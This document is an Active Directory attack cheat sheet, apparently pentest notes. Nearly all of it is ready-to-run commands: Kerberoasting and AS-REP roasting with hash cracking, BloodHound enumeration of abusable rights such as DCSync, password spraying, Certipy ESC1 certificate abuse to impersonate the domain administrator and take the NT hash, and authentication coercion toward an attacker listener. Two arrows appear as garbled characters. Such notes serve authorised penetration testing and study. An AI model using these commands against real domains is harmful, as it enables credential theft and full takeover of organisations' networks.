Kerberoast / AS-REP roast
GetUserSPNs.py dom.local/user:pass -dc-ip dc -request
GetNPUsers.py dom.local/ -usersfile users.txt -dc-ip dc -no-pass
hashcat -m 13100 kerb.txt wordlist
hashcat -m 18200 asrep.txt wordlist
BloodHound / ACLs
bloodhound-python -u user -p pass -d dom.local -c All -ns dc
# then inspect:
- GenericAll / GenericWrite
- ForceChangePassword
- AddMember
- RBCD / delegation
- DCSync rights
Password reuse / spraying
netexec smb targets.txt -u users.txt -p 'Winter2024!' --continue-on-success
# keep attempts low; respect lockout in real envs
ADCS (Certipy) & coercion
# Enumerate CA + find vulnerable templates (ESC1-16)
certipy find -u user@dom.local -p pass -dc-ip dc -vulnerable -stdout
# ESC1: request cert with arbitrary SAN โ auth as that user
certipy req -u user@dom.local -p pass -ca CA-NAME \
-template VulnTmpl -upn administrator@dom.local
certipy auth -pfx administrator.pfx -dc-ip dc # โ TGT + NT hash
# Related
bloodyAD --host dc -d dom.local -u user -p pass get writable
Coercer coerce -t dc -l attacker # PetitPotam / auth coercion